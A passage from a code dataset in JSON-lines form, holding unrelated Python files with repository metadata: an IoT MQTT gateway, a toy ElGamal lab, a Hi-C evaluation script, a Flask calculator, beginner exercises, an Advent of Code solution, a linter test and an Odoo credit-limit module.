passed.')\n","repo_name":"pideviq/quizzes","sub_path":"Python/number_operations.py","file_name":"number_operations.py","file_ext":"py","file_size_in_byte":2363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5290954976","text":"from Adafruit_IO import MQTTClient\n\nimport Controller_IOT.uart\nfrom Controller_IOT.uart import *\nfrom Controller_IOT.Helpier_Signal import *\n\naio_sign = Adafruit_Control()\n\ndef connected(client):\n print(\"Connected successful ...\")\n #subcribe IO-feeds in adafruit from python gateway\n for i in aio_sign.AIO_FEED_ID:\n client.subscribe(i)\n\ndef subscribe(client , userdata , mid , granted_qos):\n #notification of finish subcriber feeds to client\n print(\"Subscribe successful ...\")\n\ndef disconnected(client):\n print(\"Disconnected...\")\n sys.exit(1)\n\ndef message(client , feed_id , payload):\n #notification of receiving data from feeds to client\n print(\"Receiving data: \" + payload + \" from feed id: \" + feed_id)\n ###############LAB3_BEGIN##################\n if feed_id == \"button1\":\n write2Device_Button1(payload)\n if feed_id == \"button2\":\n write2Device_Button2(payload)\n if feed_id == \"switch_C_F\":\n if payload == '0':\n a = writeData('C@')\n print(a)\n elif payload == '1':\n a = writeData('F@')\n print(a)\n ##############LAB3_END#####################\ndef run_MQTT():\n client = MQTTClient(aio_sign.AIO_USERNAME, aio_sign.AIO_KEY)\n client.on_connect = connected\n client.on_disconnect = disconnected\n client.on_message = message\n client.on_subscribe = subscribe\n client.connect()\n client.loop_background()\n\n ##############LAB1_BEGIN##################\n\n sensor_number = 0\n counter_ai = 10\n prevAI_result = \"\"\n global period_default\n while True:\n ##############LAB2_BEGIN###################\n # counter_ai -= 1\n # if counter_ai <= 0:\n # counter_ai = 10\n # nowAI_result = result_AI()\n # if(nowAI_result != prevAI_result):\n # prevAI_result = nowAI_result\n # print(\"AI result: \", nowAI_result[2:])\n # client.publish(\"ai\", nowAI_result[2:])\n\n detect_NoConnect_Uart(client)\n if Controller_IOT.uart.state == Controller_IOT.uart.st.CONNECTED:\n Controller_IOT.uart.counter_default -= 1\n if Controller_IOT.uart.counter_default <= 0:\n Controller_IOT.uart.counter_default = period_default\n Controller_IOT.uart.state = Controller_IOT.uart.readSerial(client)\n\n time.sleep(Controller_IOT.uart.st.TIME_SLEEP)\n\n# thread = threading.Thread(target=run_MQTT)\n# thread.start()\n# thread.join()\n\n\n","repo_name":"LamTS72/IOT_System","sub_path":"IOT_Manuals/Controller_IOT/connect_MQTT.py","file_name":"connect_MQTT.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"24449153738","text":"import Crypto.Util.number\nfrom utils import *\nimport time\n\ndef primitive_root(p_val):\n while True:\n g = random.randrange(3, p_val)\n if pow(g, 2, p_val) == 1:\n continue\n if pow(g, p_val, p_val) == 1:\n continue\n return g\n\ndef generate_key(bit_num: int):\n p = Crypto.Util.number.getPrime(bit_num, randfunc = Crypto.Random.get_random_bytes)\n print('p:', p)\n\n g = primitive_root(p)\n print('g:', g)\n\n x = random.randint(1, p-1)\n print('x:', x)\n\n y = g**x % p\n print('y:', y)\n\n return ((p,g,y), (p,g,x))\n\ndef encode(message, package):\n p, g, y = package\n a = []\n b = []\n for m in message:\n k = random.randint(1, p-1)\n a.append(pow(g,k,p))\n b.append(pow(y, k) * ord(m) % p)\n ciphertext = [(a[i], b[i]) for i in range(0, len(b))]\n return ciphertext\n\ndef decode(ciphertext, package):\n p, g, x = package\n plaintext = []\n for c in ciphertext:\n a_x = pow(c[0], x)\n _, a_r, _ = extended_gcd(a_x, p)\n if a_r < 0:\n a_r = p + a_r\n plaintext.append(chr((c[1]*a_r) % p))\n return (''.join(plaintext))\n \n\ndef elgamal(message):\n print('Генерация ключевой информации')\n public, private = generate_key(8) \n start_time = time.time()\n encoded = encode(message, public)\n encoding_time = time.time() - start_time\n print('Зашифрованное сообщение:', encoded)\n start_time = time.time()\n decoded = decode(encoded, private)\n decoding_time = time.time() - start_time\n print('Расшифрованное сообщение:', decoded)\n print('Время зашифрования:', encoding_time)\n print('Время расшифрования:', decoding_time)\n\n len_enc = 0\n for c in encoded:\n len_enc += len(str(c[0])) + len(str(c[1]))\n print('Длина шифротекста:', len_enc)","repo_name":"ne-vera/ZIiNIS-6sem","sub_path":"ЛР 8. RSA и Эль-Гамаля/lab8/elgamal.py","file_name":"elgamal.py","file_ext":"py","file_size_in_byte":1937,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"1689781975","text":"import os\nimport sys\nsys.path.append(\".\")\nimport subprocess\nimport glob\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\nfrom tqdm import tqdm\nimport shutil\n\n#load data module\nfrom ProcessData.PrepareData_tensor import GSE131811Module\nfrom ProcessData.PrepareData_tensorH import GSE130711Module\n\n#Our models\nimport Models.schicedrn_ganT48 as hiedsr\n#other models\nimport Models.hicsr as hicsr\nimport Models.deephic as deephic\nimport Models.hicplus as hicplus\nimport Models.Loopenhance_parts1 as unet\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n'''\nfor Human, the test chros list = [2, 6, 10, 12]\nfor Dros_cell, the test chros list = [2, 6], besides that original only 6 as the test chromosome\n'''\n\n#single chromsome information for test\nRES = 40000\nPIECE_SIZE = 40\n\n#below is the cell information for test\ncell_lin = \"Human\"\ncell_no = 1\npercentage = 0.02\n\n#below two is used for pretrained models' paths\ncell_not = 1\ncell_lint = \"HumanT48_\"\n\nfile_inter = \"Downsample_\"+str(percentage)+\"_\"+cell_lint+str(cell_not)+\"/\"\n#file_intert = \"Downsample_0.75_Dros_cell21/\"\n\n\n#Our models on multicom\nhiedsrMod = hiedsr.Generator().to(device)\n#file_temp = \"../pretrained/\"+\"Downsample_\"+str(percentage)+\"_\"+cell_lin+\"T0.75_16\"+str(cell_no)+\"/\"+\"bestg_40kb_c40_s40_\"+cell_lin+\"T0.75_16\"+str(cell_no)+\"_hiedsr.pytorch\"\n#file_path1 = \"../pretrained/Downsample_0.75/bestg_40kb_c40_s40_Dros_cell1_hiedsr.pytorch\"\nfile_path1 = \"../pretrained/\"+file_inter+\"bestg_40kb_c40_s40_\"+cell_lint+str(cell_not)+\"_hiedsr.pytorch\"\nhiedsrMod.load_state_dict(torch.load(file_path1))\nhiedsrMod.eval()\n\n\n\n'''\n# other models on daisy\nmodel_hicplus = hicplus.Net(40,28).to(device)\nfile_path1 = \"../pretrained/\"+file_inter+\"finalg_40kb_c40_s40_\"+cell_lint+str(cell_not)+\"_hicplus.pytorch\"\nmodel_hicplus.load_state_dict(torch.load(file_path1))\nmodel_hicplus.eval()\n\nmodel_unet = unet.unet_2D().to(device)\nfile_path1 = \"../pretrained/\"+file_inter+\"finalg_40kb_c40_s40_\"+cell_lint+str(cell_not)+\"_unet.pytorch\"\nmodel_unet.load_state_dict(torch.load(file_path1))\nmodel_unet.eval()\n'''\n\n#prepare the input files for hicRep\ndef HicRepInput(file1, res):\n contact_mapa = np.loadtxt(file1)\n rowsa = (contact_mapa[:, 0] / res).astype(int)\n colsa = (contact_mapa[:, 1] / res).astype(int)\n print(type(rowsa))\n print(rowsa)\n\n print(colsa)\n valsa = contact_mapa[:, 2]\n bigbin = np.max((rowsa, colsa))\n smallbin = np.min((rowsa, colsa))\n print(\"\\n============bigbin: {} and rowsa lenth: {}=============\\n\".format(bigbin, len(rowsa)))\n print(\"============smallbin: {} and closa lenth: {}=============\\n\".format(smallbin, len(colsa)))\n\n mata = np.zeros((bigbin - smallbin + 1, bigbin - smallbin + 1), dtype = 'int')\n for ra, ca, ia in zip(rowsa, colsa, valsa):\n mata[ra - smallbin, ca - smallbin] = abs(ia)\n mata[ca - smallbin, ra - smallbin] = abs(ia)\n\n #np.savetxt(file2, mata)\n return mata\n\nroot_dir = \"../hicqc_inputs/\"+cell_lint+str(cell_no)+\"_\"+str(percentage)+\"_part100\"\nroot_dirR = \"../hicRep_inputs/\"+cell_lint+str(cell_no)+\"_\"+str(percentage)+\"_part100\"\n\n\nif cell_lin == \"Human\":\n chros_all = [2, 6, 10, 12]\nelse:\n chros_all = [2, 6]\n\n\nfor chro in chros_all:\n CHRO = chro #single chromsome information for test\n\n #The below two step to make sure the two out directories are new without any additional old information\n if os.path.exists(root_dir):\n globs = glob.glob(root_dirR+\"/*_\"+str(CHRO)+\".txt\")\n if root_dirR+\"/original_\"+str(CHRO)+'.txt' in globs:\n shutil.rmtree(root_dir)\n shutil.rmtree(root_dirR)\n print(\"\\n================Trim the old information in output directories=============\\n\")\n\n # if not exist, we should setup the new director to store the data\n if not os.path.isdir(root_dir):\n os.makedirs(root_dir, exist_ok = True)\n os.makedirs(root_dirR, exist_ok = True)\n\n #Prepare files for 3DChromatin_ReplicateQC\n\n hiedsr_hic = open(root_dir+\"/hiedsr_\"+str(CHRO), 'w')\n original_hic = open(root_dir+\"/original_\"+str(CHRO), 'w')\n down_hic = open(root_dir+\"/down_\"+str(CHRO), 'w')\n bins_file = open(root_dir+\"/bins_\"+str(CHRO)+\".bed\",'w')\n\n '''\n unet_hic = open(root_dir+\"/unet_\"+str(CHRO), 'w')\n hicplus_hic = open(root_dir+\"/hicplus_\"+str(CHRO), 'w')\n '''\n\n #Prepare the .txt files for hicRep\n\n hiedsr_hicRep = open(root_dirR+\"/hiedsr_\"+str(CHRO)+'.txt', 'w')\n original_hicRep = open(root_dirR+\"/original_\"+str(CHRO)+'.txt', 'w')\n down_hicRep = open(root_dirR+\"/down_\"+str(CHRO)+'.txt', 'w')\n\n '''\n unet_hicRep = open(root_dirR+\"/unet_\"+str(CHRO)+'.txt', 'w')\n hicplus_hicRep = open(root_dirR+\"/hicplus_\"+str(CHRO)+'.txt', 'w')\n '''\n #prepare the data to store\n if cell_lin == \"Dros_cell\":\n dm_test = GSE131811Module(batch_size = 1, percent = percentage, cell_No = cell_no)\n if cell_lin == \"Human\":\n dm_test = GSE130711Module(batch_size = 1, percent = percentage, cell_No = cell_no)\n\n dm_test.prepare_data()\n dm_test.setup(stage=CHRO)\n\n\n test_bar = tqdm(dm_test.test_dataloader())\n for s, sample in enumerate(test_bar):\n print(str(s)+\"/\"+str(dm_test.test_dataloader().dataset.data.shape[0]))\n if s >100:\n break\n\n data, target, _ = sample\n data = data.to(device)\n target = target.to(device)\n downs = data[0][0]\n target = target[0][0]\n \n #Pass through Models\n\n\n #Pass through hiedsr\n hiedsr_out = torch.zeros((PIECE_SIZE, PIECE_SIZE))\n hiedsr_out = hiedsrMod(data).cpu().detach()[0][0]\n\n '''\n # Pass through HicPlus, the data should be padded first.\n hicplus_out = torch.zeros((PIECE_SIZE, PIECE_SIZE))\n temp = F.pad(data, (6, 6, 6, 6), mode = 'constant')\n hicplus_out = model_hicplus(temp).cpu().detach()[0][0]\n\n #Pass through Unet\n unet_out = torch.zeros((PIECE_SIZE, PIECE_SIZE))\n unet_out = model_unet(data).cpu().detach()[0][0]\n '''\n for i in range(0, 40): #downs.shape[0]):\n bina = (40*s*RES)+(i*RES)\n bina_end = bina+RES\n bins_file.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(bina_end)+\"\\t\"+str(bina)+\"\\n\")\n for j in range(i, 40): # downs.shape[1]):\n bina = (40*s*RES)+(i*RES)\n binb = (40*s*RES)+(j*RES)\n\n #down and target\n down_hic.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(CHRO)+\"\\t\"+str(binb)+\"\\t\"+str(int(downs[i,j]*100))+\"\\n\")\n down_hicRep.write(str(bina)+\"\\t\"+str(binb)+\"\\t\"+str(int(downs[i,j]*100))+\"\\n\")\n\n original_hic.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(CHRO)+\"\\t\"+str(binb)+\"\\t\"+str(int(target[i,j]*100))+\"\\n\")\n original_hicRep.write(str(bina)+\"\\t\"+str(binb)+\"\\t\"+str(int(target[i,j]*100))+\"\\n\")\n\n hiedsr_hic.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(CHRO)+\"\\t\"+str(binb)+\"\\t\"+str(int(hiedsr_out[i,j]*100))+\"\\n\")\n hiedsr_hicRep.write(str(bina)+\"\\t\"+str(binb)+\"\\t\"+str(int(hiedsr_out[i,j]*100))+\"\\n\")\n\n '''\n unet_hic.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(CHRO)+\"\\t\"+str(binb)+\"\\t\"+str(int(unet_out[i,j]*100))+\"\\n\")\n unet_hicRep.write(str(bina)+\"\\t\"+str(binb)+\"\\t\"+str(int(unet_out[i,j]*100))+\"\\n\")\n\n hicplus_hic.write(str(CHRO)+\"\\t\"+str(bina)+\"\\t\"+str(CHRO)+\"\\t\"+str(binb)+\"\\t\"+str(int(hicplus_out[i,j]*100))+\"\\n\")\n hicplus_hicRep.write(str(bina)+\"\\t\"+str(binb)+\"\\t\"+str(int(hicplus_out[i,j]*100))+\"\\n\")\n '''\n\n #close all the files for 3DChromatin_ReplicateQC\n down_hic.close()\n bins_file.close()\n original_hic.close()\n\n hiedsr_hic.close()\n\n '''\n unet_hic.close()\n hicplus_hic.close()\n '''\n\n #zip the produced files\n subprocess.run(\"gzip \"+root_dir+\"/original_\"+str(CHRO), shell=True)\n subprocess.run(\"gzip \"+root_dir+\"/down_\"+str(CHRO), shell=True)\n subprocess.run(\"gzip \"+root_dir+\"/bins_\"+str(CHRO)+\".bed\", shell=True)\n\n subprocess.run(\"gzip \"+root_dir+\"/hiedsr_\"+str(CHRO), shell=True)\n\n '''\n subprocess.run(\"gzip \"+root_dir+\"/hicplus_\"+str(CHRO), shell=True)\n subprocess.run(\"gzip \"+root_dir+\"/unet_\"+str(CHRO), shell=True)\n '''\n\n #close all the .txt files for hicRep\n down_hicRep.close()\n original_hicRep.close()\n\n hiedsr_hicRep.close()\n\n '''\n unet_hicRep.close()\n hicplus_hicRep.close()\n '''\n\n tool_names = ['hiedsr', 'down']\n #tool_names = ['down', 'hicplus', 'unet']\n BASE_STR = '/home/yw7bh/Projects/Denoise/GSE131811/hicqc_inputs/'\n sample_files = [\n root_dir+'/metric_hiedsr_'+str(CHRO)+\".samples\",\n root_dir+'/metric_down_'+str(CHRO)+\".samples\"\n #root_dir+'/metric_hicplus_'+str(CHRO)+\".samples\",\n #root_dir+'/metric_unet_'+str(CHRO)+\".samples\"\n ]\n\n pair_files = [\n root_dir+'/metric_hiedsr_'+str(CHRO)+\".pairs\",\n root_dir+'/metric_down_'+str(CHRO)+\".pairs\"\n #root_dir+'/metric_hicplus_'+str(CHRO)+\".pairs\",\n #root_dir+'/metric_unet_'+str(CHRO)+\".pairs\"\n ]\n\n for tool_name, sample_fn, pair_fn in zip(tool_names, sample_files, pair_files):\n hic_metric_sample = open(sample_fn, 'w')\n hic_metric_pair = open(pair_fn, 'w')\n SAMPLE_STRING=\"original\\t\"+BASE_STR+\"original_\"+str(CHRO)+\".gz\\n\"+str(tool_name)+\"\\t\"+BASE_STR+str(tool_name)+\"_\"+str(CHRO)+\".gz\"\n PAIR_STRING = \"original\\t\"+str(tool_name)\n hic_metric_sample.write(SAMPLE_STRING)\n hic_metric_pair.write(PAIR_STRING)\n\n #close the already written files.\n hic_metric_sample.close()\n hic_metric_pair.close()\n\n # below convert the .txt to the .matrix for hicrep to use:\n #Tools = ['down', 'original', 'hicplus', 'unet']\n Tools = ['hiedsr', 'down', 'original']\n res = RES\n for tool in Tools:\n file1 = root_dirR+\"/\"+tool+'_'+str(CHRO)+'.txt'\n file2 = root_dirR+\"/\"+tool+'_'+str(CHRO)+'.matrix'\n data = HicRepInput(file1, res)\n np.savetxt(file2, data)\n\n\n","repo_name":"BioinfoMachineLearning/ScHiCEDRN","sub_path":"Pretrain/hic_matricsT_16.py","file_name":"hic_matricsT_16.py","file_ext":"py","file_size_in_byte":10215,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"74751343611","text":"from flask import Flask, render_template, request\r\nfrom solution import Solution\r\n\r\napp = Flask(__name__)\r\n\r\n# define route for home page\r\n@app.route('/')\r\ndef index():\r\n return render_template('index.html')\r\n\r\n# define route for parsing the form data and displaying the result\r\n@app.route('/evaluate', methods=['POST'])\r\ndef evaluate():\r\n # get the input from the form\r\n raw_tokens = request.form['tokens']\r\n tokens = [t.strip() for t in raw_tokens.split(',') if t.strip()]\r\n\r\n # validate the input\r\n valid_operators = ['+', '-', '*', '/']\r\n errors = []\r\n for t in tokens:\r\n if t in valid_operators:\r\n continue\r\n try:\r\n int(t)\r\n except ValueError:\r\n errors.append(f'Invalid token: {t}')\r\n \r\n # evaluate the expression or show error message\r\n if errors:\r\n return render_template('result.html', error='
'.join(errors))\r\n else:\r\n solution = Solution()\r\n result = solution.evalRPN(tokens)\r\n return render_template('result.html', result=result)\r\n\r\nif __name__ == '__main__':\r\n app.run(debug=True)\r\n","repo_name":"LiSJ321/Quality-assurance","sub_path":"LiUItest/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"30436762942","text":"from scipy.stats import norm as ssnorm\nfrom scipy.integrate import quad as siquad\nfrom numpy import exp\nfrom numpy import log1p\nfrom numpy import log\nimport numpy as np\n\n\ndef addlog(accum, mu, sigma, x):\n den = ssnorm.logpdf(x, loc=mu, scale=sigma)\n ma = max(accum, den)\n mi = min(accum, den)\n result = ma + log1p(exp(mi-ma))\n return result\n\n\ndef getdensity(alpha, sigma, top, bottom):\n def density(x):\n topsum = ssnorm.logpdf(x, loc=top[0], scale=sigma)\n for mu in top[1:]:\n topsum = addlog(topsum, mu, sigma, x)\n bottomsum = ssnorm.logpdf(x, loc=bottom[0], scale=sigma)\n for mu in bottom[1:]:\n bottomsum = addlog(bottomsum, mu, sigma, x)\n res = alpha * (topsum - bottomsum) + bottomsum - log(len(bottom))\n return exp(res)\n return density\n\n\ndef exprenyi(alpha, sigma, top, bottom):\n \"\"\" exponential of renyi divergence \"\"\"\n return siquad(getdensity(alpha, sigma, top, bottom),\n -np.infty, np.infty)[0]\n\n\ndef renyi(alpha, sigma, top, bottom):\n return log(exprenyi(alpha, sigma, top, bottom))/(alpha - 1)\n","repo_name":"ppmlguy/RSGD","sub_path":"algo/gmm.py","file_name":"gmm.py","file_ext":"py","file_size_in_byte":1115,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"20946394521","text":"# TASK: Formula\n\"\"\"\n 1. Write a program that calculates and prints a value according to this given formula:\n Q = Square root of [(2 * C * D) / H]\n 2. Following are the fixed values of C and H:\n - C is 50.\n - H is 30.\n 3. Ask the user for a comma-separated string of numbers,\n use each number from the user as D in the formula and return all the results For example,\n if the user inputs: 100, 150, 180 The output should be:\n >> 18,22,24\n\"\"\"\nimport math\nC = 50\nH = 30\nD_list = input(\"Enter D values comma-separated: \").split(\",\")\nQ = []\n\nfor D in D_list:\n Q.append(round(math.sqrt((2 * C * int(D)) / H), 2))\nprint(Q, \"\\n\")\n\n\n# TASK: List of integers\n\"\"\"\n Given a list of 10 integers to analyze. For example:\n [3, 47, 99, -80, 22, 97, 54, -23, 5, 7] \n [44, 91, 8, 24, -6, 0, 56, 8, 100, 2] \n [3, 21, 76, 53, 9, -82, -3, 49, 1, 76] \n [18, 19, 2, 56, 33, 17, 41, -63, -82, 1]\n \n 1. Store the list of numbers in a variable.\n 2. Print the following information:\n a. The list of numbers - printed in a single line\n b. The list of numbers - sorted in descending order (largest to smallest)\n c. The sum of all the numbers\n 3. A list containing the first and the last numbers.\n 4. A list of all the numbers greater than 50.\n 5. A list of all the numbers smaller than 10.\n 6. A list of all the numbers squared - eg. for [1, 2, 3] you would print \"[1, 4, 9]\".\n 7. The numbers without any duplicates - also print how many numbers are in the new list.\n 8. The average of all the numbers.\n 9. The largest number.\n 10.The smallest number.\n 11.Bonus: Find the sum, average, largest and smallest number without using built in functions.\n 12.Extra bonus: Instead of using pre-defined lists of numbers, ask the user for 10 numbers between -100 and 100.\n - Ask the user for an integer between -100 and 100 - repeat this question 10 times.\n - Each number should be added into a variable that you created earlier.\n\"\"\"\nlist_to_analyze = []\nordinal = \"\"\nfor i in range(1, 11):\n if i == 1: ordinal = \"st\"\n elif i == 2: ordinal = \"nd\"\n elif i == 3: ordinal = \"rd\"\n else: ordinal = \"th\"\n list_to_analyze.append(int(input(f\"Enter a number between -100 and 100, {i}{ordinal} number: \")))\n\ngreater_than_50 = []\nsmaller_than_10 = []\nsquared_list = []\nsum_of_nums = 0\namount_of_nums = 0\nmaximum = 0\nminimum = 0\nfor num in list_to_analyze:\n if num > 50:\n greater_than_50.append(num)\n elif num < 10:\n smaller_than_10.append(num)\n\n squared_list.append(num**2)\n\n sum_of_nums += num\n amount_of_nums += 1\n if maximum < num:\n maximum = num\n\n if minimum > num:\n minimum = num\n\nprint(list_to_analyze)\nprint(sorted(list_to_analyze, reverse=True))\nprint(f\"Sum with built in function: {sum(list_to_analyze)}, without: {sum_of_nums}\")\nprint([list_to_analyze[0], list_to_analyze[-1]])\nprint(greater_than_50)\nprint(smaller_than_10)\nprint(squared_list)\nwithout_duplicates = list(set(list_to_analyze))\nprint(without_duplicates, len(without_duplicates))\nprint(f\"Average with: {sum(list_to_analyze) / len(list_to_analyze)}, without: {sum_of_nums / amount_of_nums}\")\nprint(f\"Max with: {max(list_to_analyze)}, without: {maximum}, Min with: {min(list_to_analyze)}, without: {minimum}\\n\")\n\n\n# TASK: Working on a paragraph\n\"\"\"\n 1. Find an interesting paragraph of text online. (Please keep it appropriate to the social context of our class.)\n 2. Paste it to your code, and store it in a variable.\n 3. Let's analyze the paragraph. Print out a nicely formatted message saying\n 4. How many characters it contains (this one is easy..).\n 5. How many sentences it contains.\n 6. How many words it contains.\n 7. How many unique words it contains.\n 8. Bonus: How many non-whitespace characters it contains.\n 9. Bonus: The average amount of words per sentence in the paragraph.\n 10. Bonus: the amount of non-unique words in the paragraph.\n\"\"\"\ninteresting = \"\"\"\n Marie Curie was the first person to win two Nobel Prizes,\n and is one of only two people in the history of the Nobels to win in two different fields.\n She and her husband Pierre, along with Henri Becquerel,\n won the Physics Prize in 1903 for their discovery of radioactivity.\n\"\"\"\nwords = interesting.split(' ')\nsentences = interesting.count('.')\n\nprint(f\"In this paragraph we have:\\n\"\n f\"{len(interesting)} amount of characters\\n\"\n f\"{sentences} amount of sentences\\n\"\n f\"{len(words)} amount of words\\n\"\n f\"{len(set(words))} amount of unique words\\n\"\n f\"{len(interesting.replace(' ', ''))} amount of non-whitespace characters\\n\"\n f\"{round(len(words) / sentences, 2)} average amount of words per sentence\\n\"\n f\"{len(words) - len(set(words))} amount of non-unique words\\n\")\n\n\n# TASK: Exercise 4\n\"\"\"\n Write a program that prints the frequency of the words from the input.\n\n Suppose the following input is supplied to the program:\n New to Python or choosing between Python 2 and Python 3? Read Python 2 or Python 3.\n \n Then, the output should be:\n\n >> 2:2\n >> 3.:1\n >> 3?:1\n >> New:1\n >> Python:5\n >> Read:1\n >> and:1\n >> between:1\n >> choosing:1\n >> or:2\n >> to:1\n\"\"\"\nsome_string = \"New to Python or choosing between Python 2 and Python 3? Read Python 2 or Python 3.\"\n\nfor string in set(some_string.split(\" \")):\n print(f\"{string}: {some_string.count(string)}\")\n","repo_name":"EthanA120/DI_Bootcamp","sub_path":"Week06/Day4/XPNinja.py","file_name":"XPNinja.py","file_ext":"py","file_size_in_byte":5507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"32515689150","text":"from __future__ import annotations\nfrom dataclasses import dataclass\nfrom typing import List\nimport sys\n\n\n@dataclass\nclass Folder:\n name: str\n subFolders: List[\"Folder\"]\n files: List[\"File\"]\n parentFolder: Folder or None\n \n \n@dataclass\nclass File:\n name: str\n size: int\n \n\ndef task_1():\n with open(\"resources/inputFiles/input7.txt\") as f:\n lines = f.readlines()\n map(lambda el: el.replace(\"\\n\", \"\"), lines)\n \n root = buildFileTree(lines)\n folderSizes = calculateFolderSize(root)\n \n overallSize = 0\n for _, size in folderSizes.items():\n if size <= 100000:\n overallSize += size\n \n return overallSize\n\n \ndef buildFileTree(lines):\n currentFolder = None\n for line in lines:\n line = str(line)\n line.replace(\"\\n\", \"\")\n if line.startswith(\"$ ls\"):\n pass\n elif line.startswith(\"dir\"):\n pass\n elif line.startswith(\"$ cd ..\"):\n currentFolder = currentFolder.parentFolder\n elif line.startswith(\"$ cd\"):\n folderName = line.replace(\"$ cd\", \"\").replace(\" \", \"\").replace(\"\\n\", \"\")\n if currentFolder is not None:\n newFolder = Folder(name=folderName, files=list(), parentFolder=currentFolder, subFolders=list())\n newFolder.name = buildName(currentFolder, newFolder)\n currentFolder.subFolders.append(newFolder)\n currentFolder = newFolder\n else:\n currentFolder = Folder(name=folderName, subFolders=list(), files=list(), parentFolder=None)\n else:\n fileSize, fileName = line.replace(\"\\n\", \"\").split(\" \")\n currentFolder.files.append(File(fileName.replace(\" \", \"\"), int(fileSize)))\n\n while currentFolder.name != \"/\":\n currentFolder = currentFolder.parentFolder\n return currentFolder\n\n\ndef calculateFolderSize(folder: Folder) -> dict:\n folders = {}\n size = sumFiles(folder)\n for childFolder in folder.subFolders:\n folders = folders | calculateFolderSize(folder=childFolder)\n size += folders[childFolder.name]\n folders[folder.name] = size\n return folders\n\n\ndef sumFiles(folder: Folder) -> int:\n size = 0\n for file in folder.files:\n size += file.size\n return size\n\n\ndef buildName(parentFolder: Folder, folder: Folder) -> str:\n return (parentFolder.name if parentFolder.name != \"/\" else \"\") + \"/\" + folder.name\n \n\ndef task_2():\n with open(\"resources/inputFiles/input7.txt\") as f:\n lines = f.readlines()\n map(lambda el: el.replace(\"\\n\", \"\"), lines)\n \n root = buildFileTree(lines)\n folderSizes = calculateFolderSize(root)\n \n overallSpace = 70000000\n updateSpace = 30000000\n \n usedSpace = folderSizes[\"/\"]\n freeSpace = overallSpace - usedSpace\n neededSpace = updateSpace - freeSpace\n \n smallestSpace = sys.maxsize\n for _, space in folderSizes.items():\n print(_)\n if space >= neededSpace:\n if space < smallestSpace:\n smallestSpace = space\n \n return smallestSpace\n \n\nprint(\"Task 1:\", task_1())\nprint(\"Task 2:\", task_2())\n","repo_name":"derfium/advent-of-code-2022","sub_path":"src/day7.py","file_name":"day7.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"1200019119","text":"# -*- coding: utf-8 -*-\n\nimport pytest\n\nfrom wemake_python_styleguide.visitors.ast.complexity.function import (\n FunctionComplexityVisitor,\n TooManyExpressionsViolation,\n)\n\nfunction_without_expressions = \"\"\"\ndef function(): ...\n\"\"\"\n\nfunction_with_expressions = \"\"\"\ndef function():\n print(12)\n print(12 / 1)\n\"\"\"\n\n\n@pytest.mark.parametrize('code', [\n function_without_expressions,\n function_with_expressions,\n])\ndef test_expressions_correct_count(\n assert_errors, parse_ast_tree, code, default_options,\n):\n \"\"\"Testing that expressions counted correctly.\"\"\"\n tree = parse_ast_tree(code)\n\n visitor = FunctionComplexityVisitor(default_options, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [])\n\n\n@pytest.mark.parametrize('code', [\n function_with_expressions,\n])\ndef test_expressions_wrong_count(assert_errors, parse_ast_tree, options, code):\n \"\"\"Testing that many expressions raises a warning.\"\"\"\n tree = parse_ast_tree(code)\n\n option_values = options(max_expressions=1)\n visitor = FunctionComplexityVisitor(option_values, tree=tree)\n visitor.run()\n\n assert_errors(visitor, [TooManyExpressionsViolation])\n","repo_name":"AlwxSin/wemake-python-styleguide","sub_path":"tests/test_visitors/test_ast/test_complexity/test_function/test_expressions.py","file_name":"test_expressions.py","file_ext":"py","file_size_in_byte":1162,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"21544246950","text":"from odoo import fields, models, api\nfrom odoo.exceptions import ValidationError\n\nclass ResPartner(models.Model):\n _inherit = \"res.partner\"\n\n payment_ids = fields.One2many('account.payment', 'partner_id', string='Payments', readonly=True, copy=False)\n total_payments = fields.Monetary(compute='_payment_total', string=\"Total Payment\",\n groups='account.group_account_invoice,account.group_account_readonly')\n total_bills = fields.Monetary(compute='_bills_total', string=\"Total Bills\",\n groups='account.group_account_invoice,account.group_account_readonly')\n\n credit_all_children = fields.Monetary(compute='_credit_debit_all_children', string='Total Receivable on all children', help=\"Total amount this customer owes you on all companies contacts under it (only first child).\")\n debit_all_children = fields.Monetary(compute='_credit_debit_all_children', string='Total Payable on all children', help=\"Total amount this customer owes you on all companies contacts under it (only first child).\")\n\n# just add tracking on this field defined in base\n credit_limit = fields.Float(tracking=1)\n\n# this is to check over the limit\n def return_parent_or_self(self):\n self.ensure_one()\n if self.parent_id:\n return self.parent_id.return_parent_or_self()\n else:\n return self\n \n def check_over_credit_limit(self,with_this_sum=0):\n self.ensure_one()\n parent_or_self = self.return_parent_or_self()\n if parent_or_self.credit_limit >0 and with_this_sum>0:\n credit_all_children = parent_or_self.credit_all_children\n debit_all_children = parent_or_self.debit_all_children\n future_credit = with_this_sum + credit_all_children - debit_all_children\n if parent_or_self.credit_limit < future_credit:\n raise ValidationError(f\"You can not validate this sale order/invoice because the partner={parent_or_self.name} has a credit limit of {parent_or_self.credit_limit:.2f}; credit_all_children={credit_all_children:.2f}, debit_on_all_children={debit_all_children:.2f} and with this invoice/sale_order is going to have {future_credit:.2f} (without transport taxes)\")\n#/this is to check over the limit\n\n @api.depends_context('company')\n def _credit_debit_all_children(self):\n tables, where_clause, where_params = 